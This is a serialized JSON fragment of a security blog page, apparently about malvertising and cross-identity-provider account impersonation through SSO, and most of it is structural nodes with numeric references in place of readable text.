MalwareBytes",[100369],{"type":997},{},{"nodeType":865,"value":100372,"marks":100373,"data":100374}," — likely the same group behind ",[],{},{"nodeType":882,"data":100376,"content":100377},{"uri":99881},[100378],{"nodeType":865,"value":100379,"marks":100380,"data":100381},"the attacks we recently identified",[],{},{"nodeType":865,"value":22525,"marks":100383,"data":100384},[],{},"Malvertising insight box 1",{"sys":100387,"__typename":9270,"content":100388,"name":100419,"title":59},{"id":100173},{"json":100389},{"data":100390,"content":100391,"nodeType":1739},{},[100392],{"data":100393,"content":100394,"nodeType":866},{},[100395,100399,100404,100414],{"data":100396,"marks":100397,"value":100398,"nodeType":865},{},[],"Even if the victim isn’t predominantly a Google shop, a Google account using the same email as a different identity provider account (e.g. Microsoft) can still be used to access downstream apps via SSO. This is because most apps use the email itself as the identifier, while 3 in 5 allow you to access an account using a new login method without doing any further verification checks. ",{"data":100400,"marks":100401,"value":100403,"nodeType":865},{},[100402],{"type":961},"Read our ",{"data":100405,"content":100407,"nodeType":882},{"uri":100406},"https://pushsecurity.com/blog/cross-idp-impersonation/",[100408],{"data":100409,"marks":100410,"value":100413,"nodeType":865},{},[100411,100412],{"type":997},{"type":961},"blog post on cross-IdP impersonation",{"data":100415,"marks":100416,"value":100418,"nodeType":865},{},[100417],{"type":961}," for more information. ","Malvertising insight box 2",{"sys":100421,"__typename":9270,"content":100422,"name":100432,"title":59},{"id":100242},{"json":100423},{"nodeType":1739,"data":100424,"content":100425},{},[100426],{"nodeType":866,"data":100427,"content":100428},{},[100429],{"nodeType":865,"value":90266,"marks":100430,"data":100431},[],{},"Malvertising insight box 3",{"sys":100434,"__typename":5631,"type":5632,"ctaText":97168,"buttonLabel":88203,"buttonColour":5635,"buttonUrl":97169},{"id":93809},{"items":100436},[],{},"Analysing the malvertising criminal ecosystem",{"items":100440},[100441,100982,101810],{"__typename":1788,"sys":100442,"content":100443,"title":60308,"synopsis":90537,"hashTags":59,"publishedDate":90538,"slug":60309,"tagsCollection":100972,"authorsCollection":100978},{"id":15536},{"json":100444},{"data":100445,"content":100446,"nodeType":1739},{},[100447,100453,100459,100500,100505,100511,100517,100522,100527,100532,100535,100542,100548,100553,100559,100564,100569,100575,100580,100595,100598,100605,100611,100617,100623,100629,100634,100649,100652,100659,100665,100711,100717,100723,100726,100733,100739,100745,100751,100777,100780,100787,100803,100809,100848,100854,100893,100899,100965],{"data":100448,"content":100449,"nodeType":866},{},[100450],{"data":100451,"marks":100452,"value":89950,"nodeType":865},{},[],{"data":100454,"content":100455,"nodeType":866},{},[100456],{"data":100457,"marks":100458,"value":89957,"nodeType":865},{},[],{"data":100460,"content":100461,"nodeType":1049},{},[100462,100481],{"data":100463,"content":100464,"nodeType":1003},{},[100465],{"data":100466,"content":100467,"nodeType":866},{},[100468,100471,100478],{"data":100469,"marks":100470,"value":89970,"nodeType":865},{},[],{"data":100472,"content":100473,"nodeType":882},{"uri":89973},[100474],{"data":100475,"marks":100476,"value":89979,"nodeType":865},{},[100477],{"type":997},{"data":100479,"marks":100480,"value":89983,"nodeType":865},{},[],{"data":100482,"content":100483,"nodeType":1003},{},[100484],{"data":100485,"content":100486,"nodeType":866},{},[100487,100490,100497],{"data":100488,"marks":100489,"value":89993,"nodeType":865},{},[],{"data":100491,"content":100492,"nodeType":882},{"uri":89996},[100493],{"data":100494,"marks":100495,"value":90002,"nodeType":865},{},[100496],{"type":997},{"data":100498,"marks":100499,"value":90006,"nodeType":865},{},[],{"data":100501,"content":100504,"nodeType":925},{"target":100502},{"sys":100503},{"id":90011,"type":922,"linkType":923},[],{"data":100506,"content":100507,"nodeType":866},{},[100508],{"data":100509,"marks":100510,"value":90019,"nodeType":865},{},[],{"data":100512,"content":100513,"nodeType":866},{},[100514],{"data":100515,"marks":100516,"value":90026,"nodeType":865},{},[],{"data":100518,"content":100521,"nodeType":925},{"target":100519},{"sys":100520},{"id":90031,"type":922,"linkType":923},[],{"data":100523,"content":100526,"nodeType":925},{"target":100524},{"sys":100525},{"id":90037,"type":922,"linkType":923},[],{"data":100528,"content":100531,"nodeType":925},{"target":100529},{"sys":100530},{"id":90043,"type":922,"linkType":923},[],{"data":100533,"content":100534,"nodeType":953},{},[],{"data":100536,"content":100537,"nodeType":963},{},[100538],{"data":100539,"marks":100540,"value":90055,"nodeType":865},{},[100541],{"type":961},{"data":100543,"content":100544,"nodeType":866},{},[100545],{"data":100546,"marks":100547,"value":90062,"nodeType":865},{},[],{"data":100549,"content":100552,"nodeType":925},{"target":100550},{"sys":100551},{"id":90067,"type":922,"linkType":923},[],{"data":100554,"content":100555,"nodeType":866},{},[100556],{"data":100557,"marks":100558,"value":90075,"nodeType":865},{},[],{"data":100560,"content":100563,"nodeType":925},{"target":100561},{"sys":100562},{"id":90080,"type":922,"linkType":923},[],{"data":100565,"content":100568,"nodeType":925},{"target":100566},{"sys":100567},{"id":90086,"type":922,"linkType":923},[],{"data":100570,"content":100571,"nodeType":866},{},[100572],{"data":100573,"marks":100574,"value":90094,"nodeType":865},{},[],{"data":100576,"content":100579,"nodeType":925},{"target":100577},{"sys":100578},{"id":90099,"type":922,"linkType":923},[],{"data":100581,"content":100582,"nodeType":866},{},[100583,100586,100592],{"data":100584,"marks":100585,"value":90107,"nodeType":865},{},[],{"data":100587,"content":100588,"nodeType":882},{"uri":89973},[100589],{"data":100590,"marks":100591,"value":90114,"nodeType":865},{},[],{"data":100593,"marks":100594,"value":22525,"nodeType":865},{},[],{"data":100596,"content":100597,"nodeType":953},{},[],{"data":100599,"content":100600,"nodeType":963},{},[100601],{"data":100602,"marks":100603,"value":90128,"nodeType":865},{},[100604],{"type":961},{"data":100606,"content":100607,"nodeType":866},{},[100608],{"data":100609,"marks":100610,"value":90135,"nodeType":865},{},[],{"data":100612,"content":100613,"nodeType":866},{},[100614],{"data":100615,"marks":100616,"value":90142,"nodeType":865},{},[],{"data":100618,"content":100619,"nodeType":866},{},[100620],{"data":100621,"marks":100622,"value":90149,"nodeType":865},{},[],{"data":100624,"content":100625,"nodeType":866},{},[100626],{"data":100627,"marks":100628,"value":90156,"nodeType":865},{},[],{"data":100630,"content":100633,"nodeType":925},{"target":100631},{"sys":100632},{"id":90161,"type":922,"linkType":923},[],{"data":100635,"content":100636,"nodeType":866},{},[100637,100640,100646],{"data":100638,"marks":100639,"value":90169,"nodeType":865},{},[],{"data":100641,"content":100642,"nodeType":882},{"uri":90172},[100643],{"data":100644,"marks":100645,"value":90177,"nodeType":865},{},[],{"data":100647,"marks":100648,"value":22525,"nodeType":865},{},[],{"data":100650,"content":100651,"nodeType":953},{},[],{"data":100653,"content":100654,"nodeType":963},{},[100655],{"data":100656,"marks":100657,"value":90191,"nodeType":865},{},[100658],{"type":961},{"data":100660,"content":100661,"nodeType":866},{},[100662],{"data":100663,"marks":100664,"value":90198,"nodeType":865},{},[],{"data":100666,"content":100667,"nodeType":866},{},[100668,100671,100678,100681,100688,100691,100698,100701,100708],{"data":100669,"marks":100670,"value":90205,"nodeType":865},{},[],{"data":100672,"content":100673,"nodeType":882},{"uri":38372},[100674],{"data":100675,"marks":100676,"value":315,"nodeType":865},{},[100677],{"type":997},{"data":100679,"marks":100680,"value":90216,"nodeType":865},{},[],{"data":100682,"content":100683,"nodeType":882},{"uri":5307},[100684],{"data":100685,"marks":100686,"value":90224,"nodeType":865},{},[100687],{"type":997},{"data":100689,"marks":100690,"value":2186,"nodeType":865},{},[],{"data":100692,"content":100693,"nodeType":882},{"uri":90230},[100694],{"data":100695,"marks":100696,"value":90236,"nodeType":865},{},[100697],{"type":997},{"data":100699,"marks":100700,"value":3892,"nodeType":865},{},[],{"data":100702,"content":100703,"nodeType":882},{"uri":90242},[100704],{"data":100705,"marks":100706,"value":90248,"nodeType":865},{},[100707],{"type":997},{"data":100709,"marks":100710,"value":90252,"nodeType":865},{},[],{"data":100712,"content":100713,"nodeType":866},{},[100714],{"data":100715,"marks":100716,"value":90259,"nodeType":865},{},[],{"data":100718,"content":100719,"nodeType":866},{},[100720],{"data":100721,"marks":100722,"value":90266,"nodeType":865},{},[],{"data":100724,"content":100725,"nodeType":953},{},[],{"data":100727,"content":100728,"nodeType":963},{},[100729],{"data":100730,"marks":100731,"value":70978,"nodeType":865},{},[100732],{"type":961},{"data":100734,"content":100735,"nodeType":866},{},[100736],{"data":100737,"marks":100738,"value":90283,"nodeType":865},{},[],{"data":100740,"content":100741,"nodeType":866},{},[100742],{"data":100743,"marks":100744,"value":90290,"nodeType":865},{},[],{"data":100746,"content":100747,"nodeType":866},{},[100748],{"data":100749,"marks":100750,"value":90297,"nodeType":865},{},[],{"data":100752,"content":100753,"nodeType":866},{},[100754,100757,100764,100767,100774],{"data":100755,"marks":100756,"value":32401,"nodeType":865},{},[],{"data":100758,"content":100759,"nodeType":882},{"uri":22700},[100760],{"data":100761,"marks":100762,"value":22706,"nodeType":865},{},[100763],{"type":997},{"data":100765,"marks":100766,"value":71034,"nodeType":865},{},[],{"data":100768,"content":100769,"nodeType":882},{"uri":1728},[100770],{"data":100771,"marks":100772,"value":22730,"nodeType":865},{},[100773],{"type":997},{"data":100775,"marks":100776,"value":1048,"nodeType":865},{},[],{"data":100778,"content":100779,"nodeType":953},{},[],{"data":100781,"content":100782,"nodeType":963},{},[100783],{"data":100784,"marks":100785,"value":22744,"nodeType":865},{},[100786],{"type":961},{"data":100788,"content":100789,"nodeType":866},{},[100790,100793,100800],{"data":100791,"marks":100792,"value":25047,"nodeType":865},{},[],{"data":100794,"content":100795,"nodeType":882},{"uri":13757},[100796],{"data":100797,"marks":100798,"value":13762,"nodeType":865},{},[100799],{"type":997},{"data":100801,"marks":100802,"value":70887,"nodeType":865},{},[],{"data":100804,"content":100805,"nodeType":866},{},[100806],{"data":100807,"marks":100808,"value":90356,"nodeType":865},{},[],{"data":100810,"content":100811,"nodeType":1049},{},[100812,100821,100830,100839],{"data":100813,"content":100814,"nodeType":1003},{},[100815],{"data":100816,"content":100817,"nodeType":866},{},[100818],{"data":100819,"marks":100820,"value":90369,"nodeType":865},{},[],{"data":100822,"content":100823,"nodeType":1003},{},[100824],{"data":100825,"content":100826,"nodeType":866},{},[100827],{"data":100828,"marks":100829,"value":90379,"nodeType":865},{},[],{"data":100831,"content":100832,"nodeType":1003},{},[100833],{"data":100834,"content":100835,"nodeType":866},{},[100836],{"data":100837,"marks":100838,"value":90389,"nodeType":865},{},[],{"data":100840,"content":100841,"nodeType":1003},{},[100842],{"data":100843,"content":100844,"nodeType":866},{},[100845],{"data":100846,"marks":100847,"value":90399,"nodeType":865},{},[],{"data":100849,"content":100850,"nodeType":866},{},[100851],{"data":100852,"marks":100853,"value":90406,"nodeType":865},{},[],{"data":100855,"content":100856,"nodeType":1049},{},[100857,100866,100875,100884],{"data":100858,"content":100859,"nodeType":1003},{},[100860],{"data":100861,"content":100862,"nodeType":866},{},[100863],{"data":100864,"marks":100865,"value":90419,"nodeType":865},{},[],{"data":100867,"content":100868,"nodeType":1003},{},[100869],{"data":100870,"content":100871,"nodeType":866},{},[100872],{"data":100873,"marks":100874,"value":90429,"nodeType":865},{},[],{"data":100876,"content":100877,"nodeType":1003},{},[100878],{"data":100879,"content":100880,"nodeType":866},{},[100881],{"data":100882,"marks":100883,"value":90439,"nodeType":865},{},[],{"data":100885,"content":100886,"nodeType":1003},{},[100887],{"data":100888,"content":100889,"nodeType":866},{},[100890],{"data":100891,"marks":100892,"value":90449,"nodeType":865},{},[],{"data":100894,"content":100895,"nodeType":866},{},[100896],{"data":100897,"marks":100898,"value":90456,"nodeType":865},{},[],{"data":100900,"content":100901,"nodeType":1049},{},[100902,100911,100920,100929,100938,100947,100956],{"data":100903,"content":100904,"nodeType":1003},{},[100905],{"data":100906,"content":100907,"nodeType":866},{},[100908],{"data":100909,"marks":100910,"value":90469,"nodeType":865},{},[],{"data":100912,"content":100913,"nodeType":1003},{},[100914],{"data":100915,"content":100916,"nodeType":866},{},[100917],{"data":100918,"marks":100919,"value":90479,"nodeType":865},{},[],{"data":100921,"content":100922,"nodeType":1003},{},[100923],{"data":100924,"content":100925,"nodeType":866},{},[100926],{"data":100927,"marks":100928,"value":90489,"nodeType":865},{},[],{"data":100930,"content":100931,"nodeType":1003},{},[100932],{"data":100933,"content":100934,"nodeType":866},{},[100935],{"data":100936,"marks":100937,"value":90499,"nodeType":865},{},[],{"data":100939,"content":100940,"nodeType":1003},{},[100941],{"data":100942,"content":100943,"nodeType":866},{},[100944],{"data":100945,"marks":100946,"value":90509,"nodeType":865},{},[],{"data":100948,"content":100949,"nodeType":1003},{},[100950],{"data":100951,"content":100952,"nodeType":866},{},[100953],{"data":100954,"marks":100955,"value":90519,"nodeType":865},{},[],{"data":100957,"content":100958,"nodeType":1003},{},[100959],{"data":100960,"content":100961,"nodeType":866},{},[100962],{"data":100963,"marks":100964,"value":90529,"nodeType":865},{},[],{"data":100966,"content":100967,"nodeType":866},{},[100968],{"data":100969,"marks":100970,"value":13704,"nodeType":865},{},[100971],{"type":961},{"items":100973},[100974,100976],{"sys":100975,"name":342},{"id":8410},{"sys":100977,"name":11426},{"id":11425},{"items":100979},[100980],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":100981},{"url":11434},{"__typename":1788,"sys":100983,"content":100984,"title":74729,"synopsis":74730,"hashTags":59,"publishedDate":74731,"slug":74732,"tagsCollection":101800,"authorsCollection":101806},{"id":73788},{"json":100985},{"data":100986,"content":100987,"nodeType":1739},{},[100988,100994,101000,101006,101009,101016,101022,101028,101033,101039,101044,101060,101066,101076,101079,101086,101092,101105,101111,101121,101126,101129,101136,101143,101148,101156,101172,101180,101186,101194,101209,101217,101223,101231,101257,101265,101271,101279,101295,101300,101308,101314,101322,101355,101358,101365,101373,101389,101397,101403,101411,101437,101442,101450,101456,101461,101464,101471,101479,101485,101536,101541,101544,101551,101559,101565,101570,101573,101580,101586,101592,101652,101658,101713,101719,101722,101729,101735,101741,101746,101749,101756,101762,101768,101774],{"data":100989,"content":100990,"nodeType":866},{},[100991],{"data":100992,"marks":100993,"value":73799,"nodeType":865},{},[],{"data":100995,"content":100996,"nodeType":866},{},[100997],{"data":100998,"marks":100999,"value":73806,"nodeType":865},{},[],{"data":101001,"content":101002,"nodeType":866},{},[101003],{"data":101004,"marks":101005,"value":73813,"nodeType":865},{},[],{"data":101007,"content":101008,"nodeType":953},{},[],{"data":101010,"content":101011,"nodeType":963},{},[101012],{"data":101013,"marks":101014,"value":73824,"nodeType":865},{},[101015],{"type":961},{"data":101017,"content":101018,"nodeType":866},{},[101019],{"data":101020,"marks":101021,"value":73831,"nodeType":865},{},[],{"data":101023,"content":101024,"nodeType":866},{},[101025],{"data":101026,"marks":101027,"value":73838,"nodeType":865},{},[],{"data":101029,"content":101032,"nodeType":925},{"target":101030},{"sys":101031},{"id":73843,"type":922,"linkType":923},[],{"data":101034,"content":101035,"nodeType":866},{},[101036],{"data":101037,"marks":101038,"value":73851,"nodeType":865},{},[],{"data":101040,"content":101043,"nodeType":925},{"target":101041},{"sys":101042},{"id":73856,"type":922,"linkType":923},[],{"data":101045,"content":101046,"nodeType":866},{},[101047,101050,101057],{"data":101048,"marks":101049,"value":73864,"nodeType":865},{},[],{"data":101051,"content":101052,"nodeType":882},{"uri":39517},[101053],{"data":101054,"marks":101055,"value":73872,"nodeType":865},{},[101056],{"type":997},{"data":101058,"marks":101059,"value":73876,"nodeType":865},{},[],{"data":101061,"content":101062,"nodeType":866},{},[101063],{"data":101064,"marks":101065,"value":73883,"nodeType":865},{},[],{"data":101067,"content":101068,"nodeType":866},{},[101069,101072],{"data":101070,"marks":101071,"value":73890,"nodeType":865},{},[],{"data":101073,"marks":101074,"value":73895,"nodeType":865},{},[101075],{"type":961},{"data":101077,"content":101078,"nodeType":953},{},[],{"data":101080,"content":101081,"nodeType":963},{},[101082],{"data":101083,"marks":101084,"value":73906,"nodeType":865},{},[101085],{"type":961},{"data":101087,"content":101088,"nodeType":866},{},[101089],{"data":101090,"marks":101091,"value":73913,"nodeType":865},{},[],{"data":101093,"content":101094,"nodeType":866},{},[101095,101098,101102],{"data":101096,"marks":101097,"value":73920,"nodeType":865},{},[],{"data":101099,"marks":101100,"value":73925,"nodeType":865},{},[101101],{"type":961},{"data":101103,"marks":101104,"value":73929,"nodeType":865},{},[],{"data":101106,"content":101107,"nodeType":866},{},[101108],{"data":101109,"marks":101110,"value":73936,"nodeType":865},{},[],{"data":101112,"content":101113,"nodeType":866},{},[101114,101117],{"data":101115,"marks":101116,"value":73943,"nodeType":865},{},[],{"data":101118,"marks":101119,"value":73948,"nodeType":865},{},[101120],{"type":961},{"data":101122,"content":101125,"nodeType":925},{"target":101123},{"sys":101124},{"id":73953,"type":922,"linkType":923},[],{"data":101127,"content":101128,"nodeType":953},{},[],{"data":101130,"content":101131,"nodeType":963},{},[101132],{"data":101133,"marks":101134,"value":73965,"nodeType":865},{},[101135],{"type":961},{"data":101137,"content":101138,"nodeType":1458},{},[101139],{"data":101140,"marks":101141,"value":73973,"nodeType":865},{},[101142],{"type":961},{"data":101144,"content":101147,"nodeType":925},{"target":101145},{"sys":101146},{"id":73978,"type":922,"linkType":923},[],{"data":101149,"content":101150,"nodeType":866},{},[101151],{"data":101152,"marks":101153,"value":73988,"nodeType":865},{},[101154,101155],{"type":961},{"type":997},{"data":101157,"content":101158,"nodeType":866},{},[101159,101162,101169],{"data":101160,"marks":101161,"value":73995,"nodeType":865},{},[],{"data":101163,"content":101164,"nodeType":882},{"uri":73998},[101165],{"data":101166,"marks":101167,"value":74004,"nodeType":865},{},[101168],{"type":997},{"data":101170,"marks":101171,"value":74008,"nodeType":865},{},[],{"data":101173,"content":101174,"nodeType":866},{},[101175],{"data":101176,"marks":101177,"value":74017,"nodeType":865},{},[101178,101179],{"type":961},{"type":997},{"data":101181,"content":101182,"nodeType":866},{},[101183],{"data":101184,"marks":101185,"value":74024,"nodeType":865},{},[],{"data":101187,"content":101188,"nodeType":866},{},[101189],{"data":101190,"marks":101191,"value":74033,"nodeType":865},{},[101192,101193],{"type":961},{"type":997},{"data":101195,"content":101196,"nodeType":866},{},[101197,101200,101206],{"data":101198,"marks":101199,"value":74040,"nodeType":865},{},[],{"data":101201,"content":101202,"nodeType":882},{"uri":74043},[101203],{"data":101204,"marks":101205,"value":74048,"nodeType":865},{},[],{"data":101207,"marks":101208,"value":74052,"nodeType":865},{},[],{"data":101210,"content":101211,"nodeType":866},{},[101212],{"data":101213,"marks":101214,"value":74061,"nodeType":865},{},[101215,101216],{"type":961},{"type":997},{"data":101218,"content":101219,"nodeType":866},{},[101220],{"data":101221,"marks":101222,"value":74068,"nodeType":865},{},[],{"data":101224,"content":101225,"nodeType":866},{},[101226],{"data":101227,"marks":101228,"value":74077,"nodeType":865},{},[101229,101230],{"type":961},{"type":997},{"data":101232,"content":101233,"nodeType":866},{},[101234,101237,101244,101247,101254],{"data":101235,"marks":101236,"value":74084,"nodeType":865},{},[],{"data":101238,"content":101239,"nodeType":882},{"uri":3904},[101240],{"data":101241,"marks":101242,"value":74092,"nodeType":865},{},[101243],{"type":997},{"data":101245,"marks":101246,"value":74096,"nodeType":865},{},[],{"data":101248,"content":101249,"nodeType":882},{"uri":74099},[101250],{"data":101251,"marks":101252,"value":10345,"nodeType":865},{},[101253],{"type":997},{"data":101255,"marks":101256,"value":74108,"nodeType":865},{},[],{"data":101258,"content":101259,"nodeType":866},{},[101260],{"data":101261,"marks":101262,"value":74117,"nodeType":865},{},[101263,101264],{"type":961},{"type":997},{"data":101266,"content":101267,"nodeType":866},{},[101268],{"data":101269,"marks":101270,"value":74124,"nodeType":865},{},[],{"data":101272,"content":101273,"nodeType":866},{},[101274],{"data":101275,"marks":101276,"value":74133,"nodeType":865},{},[101277,101278],{"type":961},{"type":997},{"data":101280,"content":101281,"nodeType":866},{},[101282,101285,101292],{"data":101283,"marks":101284,"value":74140,"nodeType":865},{},[],{"data":101286,"content":101287,"nodeType":882},{"uri":74099},[101288],{"data":101289,"marks":101290,"value":10345,"nodeType":865},{},[101291],{"type":997},{"data":101293,"marks":101294,"value":74151,"nodeType":865},{},[],{"data":101296,"content":101299,"nodeType":925},{"target":101297},{"sys":101298},{"id":74156,"type":922,"linkType":923},[],{"data":101301,"content":101302,"nodeType":866},{},[101303],{"data":101304,"marks":101305,"value":74166,"nodeType":865},{},[101306,101307],{"type":961},{"type":997},{"data":101309,"content":101310,"nodeType":866},{},[101311],{"data":101312,"marks":101313,"value":74173,"nodeType":865},{},[],{"data":101315,"content":101316,"nodeType":866},{},[101317],{"data":101318,"marks":101319,"value":74182,"nodeType":865},{},[101320,101321],{"type":961},{"type":997},{"data":101323,"content":101324,"nodeType":866},{},[101325,101328,101334,101337,101343,101346,101352],{"data":101326,"marks":101327,"value":74189,"nodeType":865},{},[],{"data":101329,"content":101330,"nodeType":882},{"uri":74192},[101331],{"data":101332,"marks":101333,"value":74197,"nodeType":865},{},[],{"data":101335,"marks":101336,"value":8756,"nodeType":865},{},[],{"data":101338,"content":101339,"nodeType":882},{"uri":74203},[101340],{"data":101341,"marks":101342,"value":74208,"nodeType":865},{},[],{"data":101344,"marks":101345,"value":74212,"nodeType":865},{},[],{"data":101347,"content":101348,"nodeType":882},{"uri":19454},[101349],{"data":101350,"marks":101351,"value":74219,"nodeType":865},{},[],{"data":101353,"marks":101354,"value":74223,"nodeType":865},{},[],{"data":101356,"content":101357,"nodeType":953},{},[],{"data":101359,"content":101360,"nodeType":1458},{},[101361],{"data":101362,"marks":101363,"value":74234,"nodeType":865},{},[101364],{"type":961},{"data":101366,"content":101367,"nodeType":866},{},[101368],{"data":101369,"marks":101370,"value":74243,"nodeType":865},{},[101371,101372],{"type":961},{"type":997},{"data":101374,"content":101375,"nodeType":866},{},[101376,101379,101386],{"data":101377,"marks":101378,"value":74250,"nodeType":865},{},[],{"data":101380,"content":101381,"nodeType":882},{"uri":74253},[101382],{"data":101383,"marks":101384,"value":74259,"nodeType":865},{},[101385],{"type":997},{"data":101387,"marks":101388,"value":74263,"nodeType":865},{},[],{"data":101390,"content":101391,"nodeType":866},{},[101392],{"data":101393,"marks":101394,"value":74272,"nodeType":865},{},[101395,101396],{"type":961},{"type":997},{"data":101398,"content":101399,"nodeType":866},{},[101400],{"data":101401,"marks":101402,"value":74279,"nodeType":865},{},[],{"data":101404,"content":101405,"nodeType":866},{},[101406],{"data":101407,"marks":101408,"value":74288,"nodeType":865},{},[101409,101410],{"type":961},{"type":997},{"data":101412,"content":101413,"nodeType":866},{},[101414,101417,101424,101427,101434],{"data":101415,"marks":101416,"value":74295,"nodeType":865},{},[],{"data":101418,"content":101419,"nodeType":882},{"uri":74298},[101420],{"data":101421,"marks":101422,"value":74304,"nodeType":865},{},[101423],{"type":997},{"data":101425,"marks":101426,"value":74308,"nodeType":865},{},[],{"data":101428,"content":101429,"nodeType":882},{"uri":74311},[101430],{"data":101431,"marks":101432,"value":74317,"nodeType":865},{},[101433],{"type":997},{"data":101435,"marks":101436,"value":74321,"nodeType":865},{},[],{"data":101438,"content":101441,"nodeType":925},{"target":101439},{"sys":101440},{"id":74326,"type":922,"linkType":923},[],{"data":101443,"content":101444,"nodeType":866},{},[101445],{"data":101446,"marks":101447,"value":74336,"nodeType":865},{},[101448,101449],{"type":961},{"type":997},{"data":101451,"content":101452,"nodeType":866},{},[101453],{"data":101454,"marks":101455,"value":74343,"nodeType":865},{},[],{"data":101457,"content":101460,"nodeType":925},{"target":101458},{"sys":101459},{"id":74348,"type":922,"linkType":923},[],{"data":101462,"content":101463,"nodeType":953},{},[],{"data":101465,"content":101466,"nodeType":1458},{},[101467],{"data":101468,"marks":101469,"value":694,"nodeType":865},{},[101470],{"type":961},{"data":101472,"content":101473,"nodeType":866},{},[101474],{"data":101475,"marks":101476,"value":74368,"nodeType":865},{},[101477,101478],{"type":961},{"type":997},{"data":101480,"content":101481,"nodeType":866},{},[101482],{"data":101483,"marks":101484,"value":74375,"nodeType":865},{},[],{"data":101486,"content":101487,"nodeType":1049},{},[101488,101501,101514],{"data":101489,"content":101490,"nodeType":1003},{},[101491],{"data":101492,"content":101493,"nodeType":866},{},[101494,101498],{"data":101495,"marks":101496,"value":74389,"nodeType":865},{},[101497],{"type":961},{"data":101499,"marks":101500,"value":74393,"nodeType":865},{},[],{"data":101502,"content":101503,"nodeType":1003},{},[101504],{"data":101505,"content":101506,"nodeType":866},{},[101507,101511],{"data":101508,"marks":101509,"value":74404,"nodeType":865},{},[101510],{"type":961},{"data":101512,"marks":101513,"value":74408,"nodeType":865},{},[],{"data":101515,"content":101516,"nodeType":1003},{},[101517],{"data":101518,"content":101519,"nodeType":866},{},[101520,101524,101527,101533],{"data":101521,"marks":101522,"value":74419,"nodeType":865},{},[101523],{"type":961},{"data":101525,"marks":101526,"value":74423,"nodeType":865},{},[],{"data":101528,"content":101529,"nodeType":882},{"uri":64109},[101530],{"data":101531,"marks":101532,"value":74430,"nodeType":865},{},[],{"data":101534,"marks":101535,"value":74434,"nodeType":865},{},[],{"data":101537,"content":101540,"nodeType":925},{"target":101538},{"sys":101539},{"id":74439,"type":922,"linkType":923},[],{"data":101542,"content":101543,"nodeType":953},{},[],{"data":101545,"content":101546,"nodeType":1458},{},[101547],{"data":101548,"marks":101549,"value":699,"nodeType":865},{},[101550],{"type":961},{"data":101552,"content":101553,"nodeType":866},{},[101554],{"data":101555,"marks":101556,"value":74459,"nodeType":865},{},[101557,101558],{"type":961},{"type":997},{"data":101560,"content":101561,"nodeType":866},{},[101562],{"data":101563,"marks":101564,"value":74466,"nodeType":865},{},[],{"data":101566,"content":101569,"nodeType":925},{"target":101567},{"sys":101568},{"id":74471,"type":922,"linkType":923},[],{"data":101571,"content":101572,"nodeType":953},{},[],{"data":101574,"content":101575,"nodeType":963},{},[101576],{"data":101577,"marks":101578,"value":38047,"nodeType":865},{},[101579],{"type":961},{"data":101581,"content":101582,"nodeType":866},{},[101583],{"data":101584,"marks":101585,"value":74489,"nodeType":865},{},[],{"data":101587,"content":101588,"nodeType":866},{},[101589],{"data":101590,"marks":101591,"value":74496,"nodeType":865},{},[],{"data":101593,"content":101594,"nodeType":1049},{},[101595,101614,101633],{"data":101596,"content":101597,"nodeType":1003},{},[101598],{"data":101599,"content":101600,"nodeType":866},{},[101601,101604,101611],{"data":101602,"marks":101603,"value":74509,"nodeType":865},{},[],{"data":101605,"content":101606,"nodeType":882},{"uri":74512},[101607],{"data":101608,"marks":101609,"value":29673,"nodeType":865},{},[101610],{"type":997},{"data":101612,"marks":101613,"value":23156,"nodeType":865},{},[],{"data":101615,"content":101616,"nodeType":1003},{},[101617],{"data":101618,"content":101619,"nodeType":866},{},[101620,101623,101630],{"data":101621,"marks":101622,"value":74530,"nodeType":865},{},[],{"data":101624,"content":101625,"nodeType":882},{"uri":74533},[101626],{"data":101627,"marks":101628,"value":74539,"nodeType":865},{},[101629],{"type":997},{"data":101631,"marks":101632,"value":23156,"nodeType":865},{},[],{"data":101634,"content":101635,"nodeType":1003},{},[101636],{"data":101637,"content":101638,"nodeType":866},{},[101639,101642,101649],{"data":101640,"marks":101641,"value":74552,"nodeType":865},{},[],{"data":101643,"content":101644,"nodeType":882},{"uri":3240},[101645],{"data":101646,"marks":101647,"value":74560,"nodeType":865},{},[101648],{"type":997},{"data":101650,"marks":101651,"value":23156,"nodeType":865},{},[],{"data":101653,"content":101654,"nodeType":866},{},[101655],{"data":101656,"marks":101657,"value":74570,"nodeType":865},{},[],{"data":101659,"content":101660,"nodeType":1049},{},[101661,101674,101687,101700],{"data":101662,"content":101663,"nodeType":1003},{},[101664],{"data":101665,"content":101666,"nodeType":866},{},[101667,101671],{"data":101668,"marks":101669,"value":74584,"nodeType":865},{},[101670],{"type":961},{"data":101672,"marks":101673,"value":74588,"nodeType":865},{},[],{"data":101675,"content":101676,"nodeType":1003},{},[101677],{"data":101678,"content":101679,"nodeType":866},{},[101680,101684],{"data":101681,"marks":101682,"value":74599,"nodeType":865},{},[101683],{"type":961},{"data":101685,"marks":101686,"value":74603,"nodeType":865},{},[],{"data":101688,"content":101689,"nodeType":1003},{},[101690],{"data":101691,"content":101692,"nodeType":866},{},[101693,101697],{"data":101694,"marks":101695,"value":74614,"nodeType":865},{},[101696],{"type":961},{"data":101698,"marks":101699,"value":74618,"nodeType":865},{},[],{"data":101701,"content":101702,"nodeType":1003},{},[101703],{"data":101704,"content":101705,"nodeType":866},{},[101706,101710],{"data":101707,"marks":101708,"value":74629,"nodeType":865},{},[101709],{"type":961},{"data":101711,"marks":101712,"value":74633,"nodeType":865},{},[],{"data":101714,"content":101715,"nodeType":866},{},[101716],{"data":101717,"marks":101718,"value":74640,"nodeType":865},{},[],{"data":101720,"content":101721,"nodeType":953},{},[],{"data":101723,"content":101724,"nodeType":963},{},[101725],{"data":101726,"marks":101727,"value":74651,"nodeType":865},{},[101728],{"type":961},{"data":101730,"content":101731,"nodeType":866},{},[101732],{"data":101733,"marks":101734,"value":74658,"nodeType":865},{},[],{"data":101736,"content":101737,"nodeType":866},{},[101738],{"data":101739,"marks":101740,"value":74665,"nodeType":865},{},[],{"data":101742,"content":101745,"nodeType":925},{"target":101743},{"sys":101744},{"id":74670,"type":922,"linkType":923},[],{"data":101747,"content":101748,"nodeType":953},{},[],{"data":101750,"content":101751,"nodeType":963},{},[101752],{"data":101753,"marks":101754,"value":3604,"nodeType":865},{},[101755],{"type":961},{"data":101757,"content":101758,"nodeType":866},{},[101759],{"data":101760,"marks":101761,"value":74688,"nodeType":865},{},[],{"data":101763,"content":101764,"nodeType":866},{},[101765],{"data":101766,"marks":101767,"value":74695,"nodeType":865},{},[],{"data":101769,"content":101770,"nodeType":866},{},[101771],{"data":101772,"marks":101773,"value":74702,"nodeType":865}